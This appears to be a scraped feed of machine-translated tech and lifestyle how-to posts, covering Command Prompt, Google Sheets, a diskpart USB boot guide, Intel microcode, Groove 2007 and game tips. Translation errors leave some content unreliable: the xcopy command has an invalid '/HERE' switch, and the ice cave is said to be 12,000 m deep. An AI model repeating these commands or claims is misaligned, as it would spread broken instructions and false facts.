Win key on your keyboard. The Start menu will open with your mouse cursor in the \"Search\" field.\n  Type command prompt into the \"Search\" field. This will search your computer for the Command Prompt app. You should see it pop up at the top of the search menu. On Windows 8, you can bring up the \"Search\" bar by hovering your mouse in the top-right corner of the screen and clicking the magnifying glass when it appears. If you're using Windows XP, you'll instead click the Run app on the right side of the Start menu.   Right-click Command Prompt. It resembles a black box; right-clicking it will invoke a drop-down menu. If you're using Windows XP, you'll instead type cmd into the Run window.   Click Run as administrator. It's near the top of the drop-down menu. Doing so will open Command Prompt with administrator privileges. You'll need to confirm this choice by clicking Yes when prompted. If you're using Windows XP, you'll click OK to open Command Prompt.   Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYyaZJynnaXCtbHRZqeaq6OsvLOwjK6qoqaXYrCwucyapZ1loKe8rrzT\n","link":"/post/how-to-change-a-computer-password-using-command-prompt/","section":"post","tags":null,"title":"How to Change a Computer Password Using Command Prompt"},{"body":"To calculate totals on Excel or sum up on Google Sheets, we will use the SUM function. However, you will often encounter aggregate cases with data areas in the same data sheet. So what if you want to sum the data areas in many different sheets? Is it possible to use the SUM function? The following article will guide you how to count on multiple sheets of Google Sheets.\nHow to use SUMPRODUCT function in Excel How to combine Sumif and Vlookup functions in Excel How to use DSUM function in Excel For example, we will deal with the data table below. The data for 3 sheets is 2014, 2015 and 2016. The total number of students in grade A1 over 3 years is calculated and the total number of students in all grades is calculated for 3 years.\n  1. Calculate the sum of 1 cell on multiple Google Sheets sheets Step 1:\nThe data table structure of the number of students in the sheets will be the same. The number of students in grade A1 will be in cell B2 and the other sheets will be in that position.\n  Step 2:\nIn the last sheet Total to enter the result of the total number of students in A1 for 3 years, in the result box you enter the formula = SUM ('2014'! B2; '2015'! B2; '2016'! B2) and then press Enter. In which 2014, 2015, 2016 are the names of sheets and B2 that contain the data to be summed.\nYou will immediately see the result displayed as 67 as shown.\n  Step 3:\nTo enter the results for the remaining cells just drag the first result box down to the other cells.\n  2. Calculate a total area on multiple Google sheets sheets We will calculate the total number of students in each grade year by year. That means you need to calculate the total number of students in 2014, 2015 and 2016 to produce the number of students in 3 years.\nIn the data table, the student data area for each year will be B2: B5.\nStep 1:\nIn the result input box, calculate the total number of students in grades over 3 years, enter the formula = SUM ('2014'! B2: B5; '2015'! B2: B5; '2016'! B2: B5) and click Enter. In 2014, 2015 and 2016 are still data sheets. B2: B5 will be the data area to be summed.\n  Step 2:\nThe final result will show the data as shown below.\n  Thus, summing a cell or region on different sheets of a Google Sheets file will also use the SUM function. Usage is the same as when you calculate multiple cells with a sheet, but need to insert the sheet name.\nVideo tutorial for totaling on Google Sheets See more:\nHow to insert checkboxes on Google Sheets 6 useful functions in Google Sheets you may not know yet How to enter 0 in Google Sheets I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufqru1ec6nZKatnKm2sbjEZqqhnZWpwG67xWaeqKeXobJuv8eenK2r\n","link":"/post/how-to-count-on-multiple-sheets-of-google-sheets/","section":"post","tags":null,"title":"How to count on multiple sheets of Google Sheets"},{"body":"In Apex Legends, there are three main currencies in the game: Apex Coins, Crafting Metals and Legend Tokens. These currencies are used to unlock various types of items in the game. Including new accessories and characters . These items often have limited time to use.\nWith Apex Coins, this is the currency you get through cashing in the game, Legend Tokens and Crafting Metals you can earn every time you join a game. When you level up, you will receive Legend Tokens. Specifically how to earn Legend Tokens you can refer to below article.\nTips for quick rankings in PUBG Mobile PUBG Mobile VNG: Tips to match the Vikendi terrain How to automatically pick up more than 180 bullets in PUBG Mobile VNG How to earn Legend Tokens in Apex Legends Players in Apex Legends can earn Legends Tokens through gaming experience. Each level up the player will receive a few Legend Tokens along with an Apex Pack (Loot Boxes). There are only two ways to get Legend Tokens until now that are promotion and game play. And when opening Apex package you will have the opportunity to receive both types of money including Legend Tokens and Crafting Metals.\n  Currently, only a lot of ways to play can earn Legend Tokens in the game, Apex Legends will reward those who destroy the Champion of each match, including 500 experience points. The champions here are players who have had impressive achievements in a previous match, and the name of this Champion will be highlighted from the beginning to let everyone know who is the goal.\n  With the character now, there are only 8 \"Legends\" characters that can be played. Two of the eight characters are Caustic the Toxic Trapper and Mirage the Holographics Trickster . The price to unlock the two characters is at 12,000 Legend Tokens or 750 Apex Coins to unlock.\n  See more:\nHow to download and install Stupid Zombies 3 on your computer Instructions for installing and playing Stickman Hook on your computer Instructions for setting up virtual keyboard to play all kinds of games on NoxPlayer Top the best PUBG Mobile play emulators and download links ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqtscaepZ1lpKS4prrSZqCnZZGlsrl5y56enqaUqA%3D%3D\n","link":"/post/how-to-get-legend-tokens-in-apex-legends/","section":"post","tags":null,"title":"How to get Legend Tokens in Apex Legends"},{"body":" This wikiHow teaches you how to convert a scanned document into an editable Word document on your computer. You can do this using Word's built-in settings if you scanned the document as a PDF, but you'll need to use a free converter if...\nMethod 1of 3:\nConverting a Scanned PDF  Make sure your scanned document saved as a PDF. Microsoft Word can recognize and convert scanned PDF files into Word documents without requiring any additional software.[1] If your document saved as an image (e.g., a JPG or PNG file), you can use New OCR to convert it instead.   Open the PDF in Word. This process will vary depending on your operating system: Windows — Right-click the PDF you want to convert, select Open with, and click Word in the resulting pop-out menu. Mac — Click the PDF you want to convert, click the File menu item, select Open With, and click Word in the pop-out menu.   Click OK when prompted. Word will begin converting the scanned PDF into a Word document. This process can take several minutes if your PDF has lots of text or images.   Enable editing for the file if needed. If you see a yellow bar with a warning at the top of the Word window, click Enable Editing in the yellow bar in order to unlock the file for editing. This usually only pertains to files you've downloaded (e.g., if you downloaded your scanned PDF from a cloud service).   Clean up your document. Converting scanned files into Word documents isn't an exact science; you may have to add missing words, remove excess spaces, and fix typos before your Word document is ready to go.\n  Save the document. Once you're ready to save the converted document as its own Word file, do the following: Windows — Press Ctrl+S, then enter a file name, select a save location, and click Save. Mac — Press ⌘ Command+S, then enter a file name, select a save location from the \"Where\" drop-down box, and click Save.  Method 2of 3:\nConverting a Scanned Image  Open the New OCR site. Go to http://www.newocr.com/ in your computer's web browser.\n  Click Choose file. It's a grey button at the top of the page. Doing so prompts a File Explorer (Windows) or Finder (Mac) window to open.\n  Select the scanned file. In the file browser, navigate to the scanned image file of your document, then click the file.\n  Click Open. It's in the bottom-right corner of the window. Doing so will prompt the file to upload to the website.\n  Click Upload + OCR. You'll find this button near the bottom of the visible page. New OCR will begin extracting the readable text from your scanned image.\n  Scroll down and click Download. This link is in the lower-left side of the page, just above the box containing the document's text. A drop-down menu will appear.\n  Click Microsoft Word (DOC). It's in the Download drop-down menu. This will prompt a Microsoft Word version of the scanned file to download onto your computer.\n  Open the document. Once the file is done downloading, you can double-click it to open it in Microsoft Word. Your scanned image is now a Microsoft Word document. You may have to click Enable Editing at the top of the page as the document might be locked by default.   Clean up your document. Converting scanned files into Word documents isn't an exact science; you may have to add missing words, remove excess spaces, and fix typos before your Word document is ready to go.\n Method 3of 3:\nScanning a Document into a Word File  Open Office Lens. Tap the Office Lens app icon, which resembles a red and white app with a camera iris and the letter \"L\" in the center of the icon. If you don't have Office Lens installed, you can download it from the Google Play Store for Android or from the App Store on iPhone.   Allow Office Lens access to your phone. If this is your first time opening Office Lens, tap Allow or OK when prompted to allow Office Lens to access your phone's files.\n  Tap DOCUMENT. It's a tab at the bottom of the screen.\n  Point your phone's camera at a document. Position the document that you want to scan inside the camera's view. Make sure you document is well lit so the camera can pick up as much detail as possible.   Tap the \"Capture\" button. It's a red circle at the bottom of the screen. This will take a photo of the document's page.\n  Tap   . It's in the bottom-right corner of the screen. You can scan more pages by tapping the camera with the plus icon at the bottom of the screen.   Tap Word. You'll find this option in the \"SAVE TO\" section of the \"Export To\" page. On Android, tap the box next to Word and then tap SAVE at the bottom of the screen.   Sign into your Microsoft account. If you haven't already, enter your Microsoft account email address and password. Once signed in, your Word document will be uploaded to your OneDrive account. This must be the account that you use to log into Microsoft Word as well.   Open Word on your computer. It's the blue app with a white document and the letter \"W\" in the icon.\n  Click Open Other Documents. It's on the left side of the window below the \"Recent\" section. On Mac, simply click the folder icon that says Open on the left-hand side of the window.   Click OneDrive - Personal. It's at the top of the window. This will open your OneDrive folder. If you don't see the OneDrive option, click + Add a Place, then click OneDrive and sign in with your Microsoft account.   Go to the Office Lens folder. Click on the \"Documents\" folder, then click the \"Office Lens\" folder. This is on the right pane of the window.\n  Double-click your Word document. This opens the Word document you scanned using Office Lens in Microsoft Word.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7turYysmpqmnpqxbrDOnKymnZ6peqq606hkpqGTp7y0u8WtZLCnopl6pbvCrqSepqQ%3D\n","link":"/post/how-to-turn-a-scanned-document-into-microsoft-word-document/","section":"post","tags":null,"title":"How to Turn a Scanned Document Into Microsoft Word Document"},{"body":"Microsoft and Intel have worked together to roll out a series of microcode updates for Windows 10 2004, 1909, 1903 and earlier to fix hardware bugs in Intel CPUs. In the past, Intel has released many microcode updates to fix or limit vulnerabilities such as Specter, Meltdown, and Microarchitectural Data Sampling (MDS).\nIn this batch, Intel's microcode updates patch holes in 56 CPUs belonging to the following CPUs:\nAmber Lake Avoton Broadwell Cascade Lake Cascade Lake Coffee Lake Comet Lake Haswell Kaby Lake Skylake Valley View Whiskey Lake  New Intel microcode updates fix hardware vulnerabilities for 56 CPUs\nIntel microcode updates will not be installed automatically. Users will have to manually download and install the woodwork. Below is the download link for the new Intel Microcode updates for each Windows 10 version:\nKB4558130: Intel microcode update for Windows 10 2004 KB4497165: Intel microcode update for Windows 10 1909 and 1903 KB4494174: Intel microcode update for Windows 10 1809 KB4494451: Intel microcode update for Windows 10 1803 KB4494452: Intel microcode update for Windows 10 1709 KB4494453: Intel microcode update for Windows 10 1703 KB4494175: Intel microcode update for Windows 1607 KB4494454: Intel microcode update for Windows 10 Although these are the security updates you should install, you should also note that in the past Intel microcode updates often caused problems such as slowdowns, crashes on older CPU computers. Before the update, you should also find out if your processor needs to be patched.\nTo see details about the CPU you are using, you can use the software CPU-Z. Besides, you can also use the Device Manager tool.\u0026nbsp;\nmicrosoft intel ncG1vNJzZmismaXArq3KnmWcp51ktq%2FAxKVkq52cmq60scNmpKKboqSwsLDEZqypnJGpsm7AzmadorBdmL22eceaqZ2vkaeybrHRq6arZZakv27DyKebqK%2BjYn5x\n","link":"/post/intel-released-microcode-update-to-fix-cpu-hardware-error-for-windows-10/","section":"post","tags":null,"title":"Intel released microcode update to fix CPU hardware error for Windows 10"},{"body":"Sharing and sharing documents on the local network (LAN) is very simple. But how to bring the sharing and sharing of this document out of the office. What you need now is an Internet connection and a Microsoft Groove 2007 tool. When work grows with the need to share information, you will often think of creating a shared server with the assigned folders for each workgroup. However, if you are a frequent traveler and do not sit on your company's LAN, accessing the information shared on the Server is an inconvenient task. It is said that there are already RAS technologies with VPN and SmartCard, etc. but with slow access speed like cows, it is easy to 'discourage soldiers'. You also think about exchanging information by e-mail and chat programs. However, be aware that transferring a presentation of 10MB to 30 members of the group will clog the entire network or make your computer sit there for hours. Groove was born to help you solve all the problems mentioned above gently and easily. First you need to install Groove on your computer and on all computers of the team members. Groove is a Desktop product available in Microsoft Office Enterprise or Ultimate edition. You can also download the trial version here. After installing Groove 2007 on your computer, you activate it by clicking the Microsoft Office Groove 2007 icon, Groove will be activated in the form of a window called Launchbar as shown or with the icon in the toolbar. at the bottom of the screen. In the first activation, the program will ask users to create a new account. After selecting Create a new Groove account , choose Next I don't have a Groove Account Configuration Code to skip the configuration code section and declare the name, email address and password as follows:\n  Your task now is to create a shared workspace, which will contain the information you want to share with members of a project team and they will be synced together extremely quickly. fast.\n  Create Workspace \n To create a new workspace in Groove (called a workspace), follow these steps: 1. Select File | New | Workspace . The Create New Workspace dialog box will appear as shown\n  2. Enter a name in the Name of Workspace dialog box, select Standard in the Type of Workspace section 3. Click OK 4. Groove will create a workspace as shown below\n  Put information on Workspace \n In the common workspace you can put all the information up there. Specifically, files, images, documents, spreadsheets, presentations, folders containing data . To do this, follow these steps: 1. Open the workspace 2. Click the Add Files button, the Add Files dialog box will appear as shown 3. You choose the files you want to share (you can select multiple files at the same time by clicking and holding the Shift key, you can also select the folder you want to share) then press the Open button. 4. All selected information will be loaded into the Workspace 5. In the workspace you can also manipulate cutting, pasting, moving, creating new folders, editing names, deleting . just like you would on a Windows Explorer window. Invite everyone to join the Workspace After you have completed the loading of the information you want to share on Workspace, you start inviting people to join in the following way: 1. Open Workspace 2. In the Workspace Members section on the right, enter the name or e-mail address of the person you want to invite 3. Select the Role: Participant entry mode (collaborators, editors), Guest (view only), Manager (full rights) 4. Click the More button to open the Add Recipients window\n  5. Type the e-mail address of the person you want to invite, then click the Add to list button 6. Finally press the OK button to send the invitation 7. Assign rights to the person you are about to invite 8. You can record your voice or type the content of the invitation before sending In principle, you can invite an unlimited number of people to join a Workspace. However, to optimize the system and speed the synchronization of information, you should limit the working group from 2 to 30 people. Groove has a very smart information synchronization mechanism. When you edit a 10MB file, as soon as it's done, Groove will bookmark and send the changed information in that document instead of sending a complete file. Therefore, the synchronization speed will take place in a split second and do not block the line. All information on Groove is encrypted right at the desktop and when transmitted on intranet and internet. It is Groove program that will be a tool to encrypt and decode information with 192 bit AES level (Advanced Encryption Standard) so it can be said that it is very safe. Groove users while working in environments with slow internet transmission speeds can easily limit the synchronization of information to increase productivity. Where users do not install mail clients (such as Outlook, ThunderBird .) The drawback is that the invitation server must have a mail manager like Outlook, Thunderbird . If you don't have the above mail clients, to create an invitation, the user selects Options , select Invite my other computer. then OK . The program will create a file ending in GRV, the default on the Desktop. You can use any tool to send this file to the invitee instead of the email as above. The first time I joined Workspace The invited person will receive an email which includes a file of Workspace information created by the Manager on the server. Open this attachment with Groove, the user will be asked to accept (Accept) to connect. After connecting, the machine will send a request for data synchronization to the server containing the original Workspace. At the server, for the first time, at the server must also agree to establish a connection. In principle, the person invited by default to use the invitee's account to enter Workspace, so when a connection is made for the first time, a conflict will occur because of the same name. At this point, select the Verify Identity to change. Then select the Verify . button and then type the name of the invited person and then OK . Where many people edit a document together When many people join in editing the same document will lead to a dispute and you may be worried about losing information (this will happen when you share files in shared folders). For Groove, the problem has been solved very naturally by only saving files with content disputes in different versions and then individuals in the workgroup can themselves solve by hand. All information in the workspace is stored in your own hard disk and this information is also synchronized and stored on all workspace computers. When there is a change, Groove will help you identify when there is a change in the workspace through an unread icon and a text or audio alert. Workspace Management Depending on the member's permissions in Workspace, if you have Manager rights, there will be sufficient permissions to delete the entire workspace of other members. If you only have Participant or Guest rights, you can only delete the information on your computer. Conclude Groove works well with Microsoft Windows SharePoint Services 3.0, Microsoft Office SharePoint Server 2007, Microsoft Office InfoPath 2007, and Microsoft Office Communicator to enhance internal information exchange capabilities. In Groove, in addition to the main tool which is Files, Discussion, there are other useful tools like Calendar (Pictures), Pictures (photo sharing) . Through the basic features mentioned above of Groove 2007, be sure to work with project teams, not the same organization, not the same network, need to access information online or offline, wishing to synchronize group information together . will find Groove is a very suitable product and easy to deploy, without Server, without network administrators, without much knowledge about technology .\nncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYrynssicnGafoqS8t7GMa2dpb12bvLN51qippJ%2BipMKxvw%3D%3D\n","link":"/post/microsoft-office-groove-2007-for-workgroups/","section":"post","tags":null,"title":"Microsoft Office Groove 2007 for workgroups"},{"body":"In the game Among Us, players will have to complete different types of missions to capture or destroy teammates in the role of Imposter and win the match.\nDifferent types of missions in Polus Outpost:\nThere are different types of missions, both general and map specific, but today I'm going to explain all the Polus Missions and how to complete them to win.\nGeneral mission: Repair of electrical wiring Shoot asteroids Send scans Wire repair: Wire repair is one of the most common tasks among us. You can find this quest on any map.\nIn Polus, Fix Wiring is usually located in one of the following places:\nelectricity Office O2 Laboratory Laboratory Decontamination To complete the mission, match all ropes correctly. You will have to combine yellow with yellow, pink with pink, blue with blue and red with red strings to complete the quest.\nThe matching sequence is different in every map and every time you play it.\nShoot asteroids: Shooting Asteroids is one of the most popular missions in Among Us\n  In Polus you can locate it in the Weapons Area. You will have to destroy asteroids by firing lasers to complete the mission.\nSend scans: Send Scan is one of the missions that you can find in all three maps.\nIn Polus you can locate it in the Laboratory. You will have to complete a full body scan through the scanner in 10 seconds to complete the task.\nBody scans include:\nID Height Weight Color Map specific missions: Insert key Scan your boarding pass Restart WIFI Repair drill Monitoring tree Record the temperature Fill in the boxes Align the Telescope Replace the water bottle Artifacts shop Key insertion: Inserting keys is a short task located in Dropship of Polus Outpost.\nGo to Dropship and start the quest. In it you will see ten main slots, but one of them will be nominated by color; Place your key on it and rotate it to complete the mission.\nScan the QR code and the task is complete.\n  Restart WIFI: Restart WIFI is one of the map specific missions, only found in Polus Outpost.\nGo to Communication and start the task. Just pull the lever down and it will ask you to come back in 60 seconds.\nAfter 60 seconds get back in touch and turn on wifi by pushing the liver up; It will take about 6 seconds to start up and your task is complete.\nDrill repair: You can find the Repair Drill in the Laboratory in the Polus Outpost Map.\nAfter starting the task, you will see the drill is in a bad state. You will also see four warnings in the four corners. All you need to do is to click four times each to complete the task.\nMake sure you don't press outside of the button; otherwise, it will reset and you'll have to do it all over again.\nTrack tree: You can find the Monitor Tree in the O2 section of Polus Outpost.\nThe task is quite simple; All you need to do is adjust CO2, NUTRI, RAD and Water levels to a certain level in order to complete the task.\n  Record temperature: You can find it in the Laboratory. Record temperatures were only available at Polus Outpost because it was a winter theme.\nTo complete the task, simply record the given temperature from the Reading to the Log. For example, if your reading screen says -10, put -10 on the log display to record the temperature and to complete the task.\nThe temperature will randomize each time you refresh the screen.\nFilling in the balustrades: Filling the boxes is the most gratifying task among us. I don't know if it was just me or if you all felt that way.\nHowever, you can find it in the O2 section of Polus Outpost. To complete the mission, you will have to fill two boxes with oxygen and throw it away.\nThe next box bottle will show up as soon as you fill the first bottle and throw it away. You will have to throw boxes to complete the quest.\nTelescopic alignment: The Align Telescope was also part of the Laboratory mission. All you need to do in this task is Align the Telescope, according to the image on the screen.\nThere are many objects to align, but you can only complete the task if you align the telescope according to the given image.\nReplace water tank: Changing the water bottle is quite simple; all you need to do is go to the boiler room and pour all the water into the tank, then go to another boiler room and fill the tank you just got from the other boiler room.\nArtifacts shop:   \nThe Store Artifacts are also one of the quests you find in Polus Outpost. All you need to do is store four artifacts to complete the quest.\nThe task is very simple; It doesn't require much time, which means you can do it while waiting for WIFI to reboot (60 seconds).\nConclude: Remember that all of the above quests are assigned at random to all players. You cannot choose a mission yourself. However, you can choose to complete the task in a way that feels easy to you.\nAmong us, Polus Map is a winter based map that includes some pretty interesting quests. But some quests are general quests, which means they resemble other maps.\u0026nbsp;\nIn each of our Maps you'll find a number of new quests as Imposter or Crew. Complete those missions to win as a crew member or kill your teammates to win as an Imposter.\namong us gameplay among us ncG1vNJzZmismaXArq3KnmWcp51krq67zaBkrqtdpbytwdJmpq6soKTAtXnAp5tmoJ%2BseqW7jKJknKedpbmmwMRmq6GdXabCpr%2FTrGSipl2ptaa%2BxA%3D%3D\n","link":"/post/polus-outpost-and-how-do-i-complete-polus-outpost-missions/","section":"post","tags":null,"title":"Polus Outpost and How do I complete Polus Outpost Missions?"},{"body":"This language allows you to create really powerful applications of any level, from small startups to huge banking systems on Wall Street through which millions of dollars pass. It is a very successful and popular programming language with a lot of experts, a strong community and a huge number of all kinds of libraries and solutions on almost any topic. This language is mature and predictable, which is why so many companies choose it for their projects.\n  Pros of Java Development Services As for the advantages of java, they are numerous. You can do almost anything in the language. There are libraries in this language. As for developing mobile applications, there are even separate libraries for developing UI in Java. As for the most cases, this language is perfect variant for the Backend. Nowadays are available java development services by Dataxdev.\nObject-Oriented approach Java has one of the leading positions on the market. In almost every big programming company nowadays there are a lot of opportunities for programmers to develop their skills in this sphere.\nJava doesn't take the leading position, but it's still one of the main variants to choose from. There are always a lot of vacancies in Java because it is one of the most popular areas, so in my subjective opinion it will be easier for beginners to look for work here than in less popular areas like Ruby or Go.\nEconomical to Develop and Maintain If you choose this direction for yourself, then most likely you will be working on some kind of large application for a large company, it is large companies that most often choose Java. These projects can even be of world renown and for global companies, so that you will have the opportunity to touch the applications with which a huge number of people interact every day.\nAlso, in large applications, there is often a rather complex logic and large queries in terms of functionality, which means for you that you can cool off in terms of designing various complex solutions that solve rather non-trivial tasks.\nThere are a lot of advantages in Java, for example:\nCool frameworks that provide a huge range of tools for all sorts of tasks A large community that knows the answers to almost all your possible questions. Excellent debugging tools, that is, tools that allow you to find an error in the code Very cool navigation through the code and libraries, where you can look at the code, read the documentation and find everything you need. Prospects - Javists are needed always and everywhere and they are constantly in short supply. Cool projects and complex decisions that contribute to very fast career development. Cons of Java Development Services Not Perfect Performance One of the disadvantages of java is a poor set of syntactic and tools. It's rather visible for those who is used to program in some more fashionable and modern languages. These can be such languages as ​ Python or JS. As for the Java, in this regard is very far behind the newfangled tools and this is really not enough for java software development.\nHigh Complexity of Codes The second minus directly comes from the first, that if the language does not have the necessary set of syntactic sugar in the language, which allows you to write complex actions as simply as possible, thus speeding up the programmer in writing his logic. In Java, syntactic sugar is quite small, therefore, in general, the writing time will be longer than, for example, in JS or Python. And also some constructions and writing logic will look really more complicated, again for the same reason.\nBulky, this is a rather conditional minus because, again, tools are evolving, now everything is much better with Java, but still, on Java, the application usually starts longer than on other technologies, takes up more memory and sometimes gives worse so-called developer experience, that is, how convenient it is for you how to program in Java for a developer.\nncG1vNJzZmismaXArq3KnmWcp51kvbO70maYp5xdmLyvv4yonWaikauu\n","link":"/post/pros-and-cons-of-java/","section":"post","tags":null,"title":"Pros and Cons of Java"},{"body":"Most of us use the basic Emoji emoticons inside the keyboard of the default Messages messaging application on the iPhone. However, using those emoticons will sometimes make you feel bored and want something new. Use the Kana keyboard in Japanese (Japanese - Kana), you will enjoy the Emoji that appears in this keyboard.\nTo activate the Kana keyboard in Japanese, we do the following:\nGo to Settings\u0026gt; General .   Scroll down and select Keyboard .   Continue to select Keyboards (Keyboard) , you can see the language keyboards you use. Please select Add New Keyboard (add a new keyboard) .   Here, you will see the Japanese keyboard appears at Suggested Keyboard item (Keyboard recommended) .If you don't see it, scroll down and find this keyboard. Once you've found it, click on the keyboard and select Kana and press Done .   Now you can see that the Japanese Kana keyboard appears at the list of the keyboards you use.   To use this emoticon you need to open the keyboard and select the globe icon, then switch to the Japanese keyboard.   Click the smiley icon at the bottom left of the keyboard.   Then a row of interesting Emoji icons will appear right above the keyboard.Click the arrow on the right to open this entire Emoji.     To return to the Vietnamese or English keyboard, simply re-select that language at the globe icon on the keyboard.\nDo you find these Emoji emoticons very funny and special? Please leave your comments!\nncG1vNJzZmismaXArq3KnmWcp51kwKav0Z6rZp2dpLeqecSmpq2hk6S7tHnOp2SiqJiku6Z5w6hksqelYrivu9ZmsJ6s\n","link":"/post/secret-emoji-emoticons-on-iphone-do-you-know-yet/","section":"post","tags":null,"title":"Secret Emoji emoticons on iPhone. Do you know yet?"},{"body":"Before creating a USB Boot in this way, prepare a USB Boot ISO file like Windows, Hiren Boot and a USB with a capacity of 4GB or more.\n1. Format USB Boot with CMD Step 1: You open CMD with Administration rights. To open cmd with Admin rights on Windows 10, open Search (1) =\u0026gt; enter the keyword cmd (2) =\u0026gt; Run as administrator (3).\n  Step 2: You enter the command diskpart =\u0026gt; press Enter.\n  Step 3: You enter the command list disk =\u0026gt; press Enter. At this point, the system will display the available drives on your computer and you can base your USB stick on the capacity of the USB stick.\nFor example, a 32GB USB stick will show Size as 28GB and as Disk 1 in the sample below.\n  Step 4: You enter the command select disk 1 =\u0026gt; press Enter.\nIn which: select disk 1 you can replace it with select disk 2, select disk 3. depending on your USB order.\n  Step 5: You enter the clean command =\u0026gt; press Enter to delete the USB partition.\n  Step 6: You enter the command create partition primary =\u0026gt; Enter to create a primary partition for the USB.\n  Step 7: You enter the command select partition 1 =\u0026gt; press Enter.\n  Step 8: You enter the active command =\u0026gt; press Enter to activate the partition on the USB.\n  Step 9: Enter the command format fs=ntfs quick =\u0026gt; press Enter to format the USB as NTFS.\nFor the USB Boot installer with a capacity of less than 4GB, you can use the format fs=fat32 quick command to format the USB quickly in FAT32 format.\n  Step 10: You enter the command assign letter=X =\u0026gt; Enter to assign the abbreviation to the USB. You can replace X with another drive name such as D, E, F, G, H .\n  Finally, enter the command exit =\u0026gt; press Enter to exit Disk Part and move on to the following operation.\n  2. Copy files from USB Boot installer to USB using CMD Step 1: Extract the Boot ISO file to the virtual drive. On Windows 10, you can extract the file by right-clicking on the ISO file (1) =\u0026gt; Mount (2). After successfully mounting the virtual drive, you will see the new drive containing the installation file (3).\n  Step 2: Remember the letter name of the virtual drive (1) and USB (2) exactly copy the file from the virtual drive containing Boot to the USB.\nIn the picture below, drive D is a virtual drive mounted from an ISO file and drive X is a USB created in part 1.\n  Step 3: You return to Command Prompt and enter the command D: =\u0026gt; press Enter.\nWhere D: is the letter name of the virtual drive containing the Boot file.\n  Step 4: Enter the command cd boot =\u0026gt; press Enter.\n  Step 5: You enter the command bootsect /nt60 X: =\u0026gt; press Enter.\nWhere X: is your USB drive's name.\n  Step 6: You enter the following command =\u0026gt; press Enter.\nxcopy D:*.* X: /E /F /HERE\n- Inside:\nD: is the virtual drive name\nX: is the USB drive name\n/E: Execute the command to copy all directories, subdirectories except empty directories.\n/F: Display source and destination file while copying\n/H: Execute the command to copy properties and hidden files. By default, the xcopy command does not allow you to copy properties and hidden files.\n  After copying is complete and no error message appears, it is successful. Please close the Command Prompt window.\n  Step 7: After creating a successful USB Boot, remember to remove the USB and virtual drive by right-clicking on the drive (1) =\u0026gt; Eject (2).\n  Through the instructions in the article, you can learn more how to create a new USB Boot without using support software, which is to use Command Prompt (CMD) to create.\ncreate USB Boot Command Prompt ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmL%2BmrdOeZK6rkmKvsLvTZqysoZ6ceqS7zKaYp5xdpb%2Bwuc%2Bt\n","link":"/post/steps-to-create-usb-boot-using-command-prompt/","section":"post","tags":null,"title":"Steps to create USB Boot using Command Prompt"},{"body":"Venturing into the 12,000m deep ice core of the Mendenhall Glacier, the explorers were amazed to discover a completely different color world with cold white above the ground.\nNot the fireflies, the new carnivores are the glowing ones in this cave Explore the world's deepest underwater caves in the Czech Republic 19 beautiful pictures to \"suffocate\" make you think that you are on another planet, not Earth Marvel at 12 picturesque nature pictures   Mendenhall Glacier is about 20 km from downtown Juneau, Alaska.(Photo Dailymail).\n  The entrance to the ice cave doesn't look any different from the surrounding.(Photo Caters News Agency).\n  But when entering deep into an ice cave, a fantasy world is completely different from above the ground.(Photo Caters News Agency).\n  In the cave there are many beautiful and fantasy shapes.(Photo Caters News Agency.)\n  The ice cave was formed about 3,000 years ago, from the Little Ice Age.Photo Caters News Agency\n  The ice cave is made up of unique ice crystal structures so it has a very special mysterious green color.In sunny days, thanks to the light reflection, the ice movement becomes more shimmering and fanciful.(Photo Caters News Agency).\n  The temperature in the ice cave is very low, the humidity is high and quite dangerous because the water droplets are even melted ice blocks falling from the top down a lot.Photo Caters News Agency\n  Many visitors are attracted by the \"scene of the scene\" inside the ice cave, they still come here to explore despite the dangers that have been warned.(Photo Caters News Agency).\n  Over time, ice caves always change shape, color, size . so always create a new and exciting feeling.(Photo Caters News Agency.)\n  But many people worry that ice rifts may disappear one day due to climate change, warming temperatures cause ice to melt.(Photo Caters News Agency.)\nncG1vNJzZmismaXArq3KnmWcp51kwamxjJ%2BYoqqpYsSwvsudZKKmXam1pnnInJxmm5Grsm610mZoa2hgZXqusdOeqaxllJqysQ%3D%3D\n","link":"/post/the-fairy-world-in-the-ice-cave-is-12-000-meters-deep/","section":"post","tags":null,"title":"The 'fairy' world in the ice cave is 12,000 meters deep"},{"body":"For marketers, or media-related fields, PR, there must be countless familiar terminology, such as Agency. This word appears only in a few specific areas, so many people when listening to, or reading in magazines, books and newspapers will not know the meaning of the Agency. Agency is used with many different meanings, in separate cases. The following article helps you understand what Agency means.\nAgency definition Agency, when translated into an English dictionary, is understood in many meanings including organizations, government agencies or used as a verb phrase in English sentences but rarely used.\nAgency today is used with the common sense, more than it is an organization or company that provides services at the request of another company or organization . You often hear Agency go with other words like advertising agency, event agency, . Most agencies are used for advertising, media, PR or Google advertising agencies. , Facebook,.\n  In an agency company, there are many different job positions:\nCopywriter: Responsible for writing promotional content, slogans, . Designer: Design and create products to print, publish . based on the content and ideas of Copywriter. Film Director: Film director, who directs the commercials. Photographer: Make photos then transfer to the department to process images. Media Planners: Responsible for media planning. Media Buyers / Booking: Responsible for contacting advertising units such as newspapers, television, . Account Executive (Junior): Receive requests from customers. Account Manager: Manage the Account department in the company, responsible for negotiating with customers. ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRnLKvr9g%3D\n","link":"/post/what-is-agency/","section":"post","tags":null,"title":"What is Agency?"},{"body":"Network administration - Microsoft supports a variety of tools that allow multiple computer users to work together.Medium-sized businesses or large-scale businesses can set up their own SharePoint, Live Meeting and Office Communications Services servers or hire Microsoft online services.  However for small businesses and individuals with more limited collaboration needs, or those who need to store documents on a remote server to perform backups or access whenever not in the office or at home then these options may exceed their capabilities. But now, with Office Live Workspace you can do these things for free. Here is some information you may not know about Office Live Workspace: 1. Register and login Office Live Workspace is still being tested, but you can also try it. You need to create an account to login to this service. If you already have a Windows Live account, you can log in with that account's email address and password. If not, you will be prompted to create an account when you visit http://workspace.office.live.com, then click the Get Started Now button. You will be asked to provide an email address and fill in some necessary information such as a password, name, living area and answer the secret question used to recover the password, . Note, you need to provide the email address you are using to be able to receive account activation email. You can use the webmail email address, like Hotmail, Gmail or Yahoo. A notification will be sent to your email address, simply click on the link in the notification to activate the Live Workspace account. 2. Some features of Office 